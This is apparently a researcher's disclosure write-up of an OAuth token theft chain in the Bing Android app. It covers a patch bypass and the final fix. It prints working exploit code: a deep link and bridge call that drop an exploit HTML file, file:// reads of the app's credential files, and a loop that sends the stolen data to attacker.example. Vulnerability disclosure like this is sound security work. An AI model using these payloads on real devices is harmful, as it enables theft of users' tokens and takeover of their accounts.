Skip to content
← All research

A 1-Click OAuth Token Theft Chain in Bing

Jun 1, 202611 min read

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

Target: com.microsoft.bing
Act I: v32.8
Act II: v33.0.440401006 (the patch)

Act I

The four ingredients

  1. A deep link that loads an arbitrary URL into Bing's in-app browser without validation.
  2. A JavaScript bridge exposed to every page loaded in that browser, including attacker-controlled pages, with a file-write method.
  3. The same deep-link handler also accepts file:// URLs.
  4. The WebView runs with AllowUniversalAccessFromFileURLs = true.

Put them together:

Load attacker-controlled page
        ↓
Attacker JavaScript writes an exploit HTML file to disk through the bridge
        ↓
Re-open that file through file://
        ↓
The file's JavaScript uses XMLHttpRequest to read the app's private shared_prefs
        ↓
OAuth tokens are extracted
        ↓
Data is exfiltrated to the attacker

The Hunt

I started with a static JADX decompilation of the v32.8 APK and searched the manifest for exported components with BROWSABLE intent filters.

SapphireMainActivity was registered for several custom schemes:

bing://
opal://
sapphire://

as well as their *debug:// variants.

Custom schemes with browser-related routes are always worth investigating because a browser route often means there is eventually a loadUrl() somewhere in the code path.

Tracing the browser path

dtl.e()
    ↓
extracts the url= query parameter
    ↓
BridgeScenario.RequestBrowser
    ↓
InAppBrowserWebView.loadUrl(url)
    ↓
no URL validation

#1 — Arbitrary URL Loading

The following deep link:

bing://browser?url=https://example.com

loads https://example.com inside Bing's own in-app browser.

I confirmed this dynamically with a Frida hook on WebView.loadUrl():

adb shell am start \
  -a android.intent.action.VIEW \
  -d "bing://browser?url=https://example.com"

Output:

[WEBVIEW loadUrl] https://example.com

The same handler also passes file:// URLs through shouldOverrideUrlLoading.

In gwo.java:21, the method returns false for URLs matching the following conditions:

return (string2 == null
        || string2.startsWith("http://")
        || string2.startsWith("https://")
        || string2.startsWith("file://")
        || string2.equals("about:blank")
        || !xn2.a.a(context, string2, webView))
        ? false
        : true;

At this point, an in-app browser capable of loading arbitrary URLs is a real but relatively limited primitive: forced navigation, phishing, and potentially JavaScript-based attacks depending on the origin and surrounding WebView configuration.

The important question was:

What is attached to this WebView?


The JavaScript Bridge

I dumped the JavaScript interfaces exposed by the WebView.

At InAppBrowserWebView.java:434:

addJavascriptInterface(this.n, "iabSDKJSBridge");

iabSDKJSBridge is an instance of dac.java.

The interface is registered during WebView construction, meaning it is available to every page loaded by the in-app browser, including attacker-controlled pages.

One particularly interesting method was:

@JavascriptInterface
public final void saveBase64ToImageFile(
        String base64,
        String url,
        String contentDisposition,
        String mimetype) {

    byte[] decoded = Base64.decode(base64, 0);

    File file = new File(
        Environment.getExternalStoragePublicDirectory(
            Environment.DIRECTORY_DOWNLOADS
        ),
        URLUtil.guessFileName(
            url,
            contentDisposition,
            mimetype
        )
    );

    et9.writeBytes(file, decoded);
}

The method is intended to save downloaded images.

However, the important properties are:

  • The attacker controls the Base64 data.
  • The attacker controls the filename indirectly through the URL and content-disposition parameters.
  • The file is written to the public Downloads directory.
  • The method is callable from JavaScript through iabSDKJSBridge.

In other words, attacker-controlled JavaScript can cause Bing to write attacker-controlled bytes to disk.


The WebView File-Access Configuration

The next step was examining the WebView's file-access configuration.

I found:

// drr.java:275 — main WebView
settings.setAllowUniversalAccessFromFileURLs(true);

// xn2.java:84 — InAppBrowser WebView
settings.setAllowUniversalAccessFromFileURLs(true);

This was the fourth ingredient.

With universal file access enabled, a file:// page can potentially make requests across file origins.

That raised the possibility of reading files outside the directory containing the HTML document, including files under:

/data/user/0/com.microsoft.bing/

The OAuth token cache was stored under the application's shared_prefs directory.


Time to Exploit

Stage 1 — Get JavaScript Running in the Privileged WebView

The victim taps a link.

For example, a web page could contain an intent:// link that resolves to Bing:

<a href="intent://browser?url=https://attacker.example/stage1.html#Intent;scheme=bing;package=com.microsoft.bing;end">
    OPEN BING
</a>

Bing's in-app browser opens and loads:

https://attacker.example/stage1.html

Because iabSDKJSBridge is attached to the WebView, the attacker's JavaScript can directly access the exposed bridge.


Stage 2 — Write the Exploit to Disk

The attacker page constructs a second HTML document containing the actual token-stealing JavaScript.

It then passes the document to the exposed bridge:

iabSDKJSBridge.saveBase64ToImageFile(
    btoa(exploit),
    "http://x.com/exploit.html",
    "",
    "text/html"
);

The resulting file is written by Bing into:

/sdcard/Download/

For example:

/sdcard/Download/exploit.html

Stage 3 — Re-open the File Through file://

The attacker then triggers the same deep-link primitive again, this time pointing to the newly created file:

setTimeout(function () {
    window.location =
        "sapphire://browser?url=file:///sdcard/Download/exploit.html";
}, 2000);

The goal is to cause Bing's WebView to load:

file:///sdcard/Download/exploit.html

Stage 4 — Read the Application Sandbox

The exploit.html document is now loaded as a file:// page in a WebView with:

AllowUniversalAccessFromFileURLs = true

Its JavaScript attempts to read files from the Bing application's private shared_prefs directory:

var files = [
    "file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.identity.client.account_credential_cache.xml",
    "file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.oneauth.accounts.xml",
    "file:///data/user/0/com.microsoft.bing/shared_prefs/com.microsoft.bing_preferences.xml"
];

for (var i = 0; i < files.length; i++) {
    var x = new XMLHttpRequest();

    x.open("GET", files[i], false);
    x.send();

    results[files[i]] = x.responseText;
}

The objective is to retrieve the contents of the application's private XML files through the WebView.


Stage 5 — Exfiltrate the Data

The collected data is chunked, Base64-encoded, and sent to an attacker-controlled server using image requests:

for (
    var c = 0;
    c < Math.ceil(data.length / 2000) && c < 15;
    c++
) {
    new Image().src =
        "https://attacker.example/stolen/chunk" +
        c +
        "?d=" +
        encodeURIComponent(
            btoa(data.substring(c * 2000, (c + 1) * 2000))
        );
}

The attacker server receives the chunks and reassembles them.

The recovered files included:

account_credential_cache.xml
com.microsoft.oneauth.accounts.xml
com.microsoft.bing_preferences.xml

For example:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="login.windows.net-refreshtoken-">
        cE1QTEF…full_refresh_token…
    </string>
</map>

According to my testing, the files contained:

com.microsoft.identity.client.account_credential_cache.xml
    → OAuth refresh tokens, access tokens, and ID tokens

com.microsoft.oneauth.accounts.xml
    → Email, display name, account and tenant identifiers

com.microsoft.bing_preferences.xml
    → MUID/ANID session IDs, application preferences, and search data

Act II

Microsoft Patched It — But the Patch Didn't Hold

Act I was reported to MSRC.

Microsoft subsequently shipped version:

v33.0.440401006

I pulled v33, diffed the relevant code, and tested the changes on-device.

The first patch addressed multiple parts of the original chain.


What the v33 Patch Actually Did

Patch A — The JavaScript Bridge

The bridge method:

iabSDKJSBridge.saveBase64ToImageFile

received additional host and MIME validation.

However, the patched implementation also calls:

webView.getUrl()

from the JavaBridge thread.

This triggers:

WebViewMethodCalledOnWrongThreadViolation

and results in a RuntimeException when the method is invoked.

As a result, the original file-write primitive no longer worked as it did in Act I.


The bing://browser?url= path now sends the supplied URL through a scheme allowlist implemented in k1q.e.

Relevant code from:

jadx/sources/defpackage/k1q.java:113
public static boolean e(String url) throws JSONException {

    if (url == null || tzs.isBlank(url)) {
        return true;
    }

    String scheme = Uri.parse(url).getScheme();

    if (scheme != null) {

        String scheme2 = scheme.toLowerCase(Locale.ROOT);

        if (scheme2 != null) {

            if (Intrinsics.areEqual(scheme2, "http")
                    || Intrinsics.areEqual(scheme2, "https")) {

                return true;
            }

            re8.a.a(
                "[DeepLink] Browser URL blocked: unsafe scheme '"
                + scheme2
                + "'"
            );

            // Telemetry:
            // BROWSER_DEEPLINK_BLOCKED
            // reason: "unsafe_scheme"
        }
    }

    return false;
}

In other words:

http://  → allowed
https:// → allowed
file://  → blocked
javascript:// → blocked

This directly prevents the original:

sapphire://browser?url=file://...

navigation path.


Patch C — The Claimed Navigation Filter

Microsoft also stated in its response that even if a file:// navigation could be reached, the WebView navigation layer would filter it and prevent the page from loading.

However, this was not a code change I identified in the diff.

The important question therefore became:

Is there another code path in the application that eventually calls WebViewDelegate.loadUrl(file://...)?

I found one.


The Bypass

The alternative path was:

intent://
    ↓
browser_fallback_url
    ↓
WebViewDelegate.loadUrl()

Bing's intent:// handler honors the standard:

browser_fallback_url

extra.

This is the URL a browser can load when an intent:// target cannot be resolved.

The important difference is that this path did not appear to apply the same scheme allowlist used by the patched deep-link browser handler.

In gv2.a.java:

// gv2.a(Context ctx, String url, WebViewDelegate webView)
// Java conversion of gv2.smali:413–556
// url = attacker-supplied target string

if (url.startsWith("intent:")) {

    try {

        Intent intent = Intent.parseUri(
            url,
            Intent.URI_INTENT_SCHEME
        );

        intent.addCategory(
            "android.intent.category.BROWSABLE"
        );

        if (
            "android.intent.action.VIEW"
                .equals(intent.getAction())
        ) {

            ComponentName target =
                intent.resolveActivity(
                    ctx.getPackageManager()
                );

            if (target != null) {

                // An application resolves the intent.
                // Launch it normally.

                intent.setFlags(
                    0x10000000
                ); // FLAG_ACTIVITY_NEW_TASK

                gv2.a.b(true);

                ctx.startActivity(intent);

                return true;
            }

            // Nothing resolves the intent.
            // Fall back to browser_fallback_url.

            String fallback =
                intent.getStringExtra(
                    "browser_fallback_url"
                );

            if (
                fallback != null
                && fallback.length() != 0
            ) {

                if (URLUtil.isValidUrl(fallback)) {

                    Map<String, String> headers =
                        eix.a.f(fallback);

                    webView.loadUrl(
                        fallback,
                        headers
                    );

                    return true;
                }
            }
        }

    } catch (URISyntaxException e) {

        // parseUri failed — ignored
    }
}

The important flow is:

Attacker-controlled intent://
        ↓
Intent.parseUri()
        ↓
resolveActivity()
        ↓
No application resolves the custom scheme
        ↓
browser_fallback_url is retrieved
        ↓
URLUtil.isValidUrl(fallback)
        ↓
file:// passes URL validation
        ↓
webView.loadUrl(fallback, headers)

The critical difference is that URLUtil.isValidUrl() is not equivalent to a security scheme allowlist.

It accepts the file:// URL.

Therefore:

browser_fallback_url
        ↓
file:///...
        ↓
WebViewDelegate.loadUrl()

The Act II Chain

Stage 1 — Load the Attacker Page

The first stage remains unchanged:

bing://browser?url=https://attacker.example/stage1.html

Because the URL is HTTPS, it passes Patch B's HTTP/HTTPS allowlist.

The attacker-controlled page is therefore still loaded inside Bing's in-app browser with the JavaScript bridge attached.


Stage 2 — The Broken File-Write Primitive

This is where Act I and Act II differ.

In Act I, the attacker used:

iabSDKJSBridge.saveBase64ToImageFile(...)

to write the exploit HTML file to disk.

On v33, Patch A breaks this primitive because of the patched bridge implementation and its WebView threading issue.

For the proof of concept, I therefore pre-positioned the file using:

adb push

A permission-free production file-drop mechanism remained the unsolved link in the real-world chain.

The remaining question was:

Can an attacker get the required file onto the device through a realistic user interaction, such as a download initiated from the attacker-controlled page?


Stage 3 — Replace the Original sapphire:// Navigation

The attacker page can instead construct an intent:// URI with a deliberately unresolvable scheme and a browser_fallback_url pointing to the local file.

For example:

intent://nohost/path#Intent;
    scheme=znoresolve;
    action=android.intent.action.VIEW;
    category=android.intent.category.BROWSABLE;
    S.browser_fallback_url=file:///…/exploit2.html;
end

The bogus:

znoresolve

scheme causes:

resolveActivity()

to return null.

The handler then falls back to:

browser_fallback_url

which contains:

file:///…/exploit2.html

The validation flow becomes:

URLUtil.isValidUrl(file://...)
        ↓
true
        ↓
webView.loadUrl(file://...)

This bypasses the k1q.e scheme allowlist because the URL is not going through the original deep-link browser validation path.


Stage 4 — Read the Application Data

The file:// page loads with:

AllowUniversalAccessFromFileURLs = true

which I confirmed dynamically through Frida.

The JavaScript can then attempt to read the OAuth-related shared_prefs files using XMLHttpRequest, as in Act I.


# Act III

The Fix That Finally Held — v33.3

After tracing the file-loading primitive across multiple versions, the fix that finally removed the core condition appeared in:

v33.3.440518006

Instead of attempting to patch every possible navigation path individually, Microsoft changed the WebView's file-access configuration.

The critical change was:

settings.setAllowUniversalAccessFromFileURLs(false);
settings.setAllowFileAccessFromFileURLs(false);
settings.setJavaScriptEnabled(true);

The resulting configuration was:

navTo = http://127.0.0.1:8889/start.html

AllowUniversalAccessFromFileURLs = false
AllowFileAccessFromFileURLs = false
JavaScriptEnabled = true

With universal file access disabled, the core cross-file-origin primitive used by the chain is removed.

The final lesson from the three versions was that patching individual navigation primitives was not enough.

The chain ultimately depended on a dangerous WebView security configuration:

AllowUniversalAccessFromFileURLs = true

Disabling that capability removed the underlying primitive rather than relying solely on filtering individual URLs.

والسلام عليكم ورحمة الله وبركاته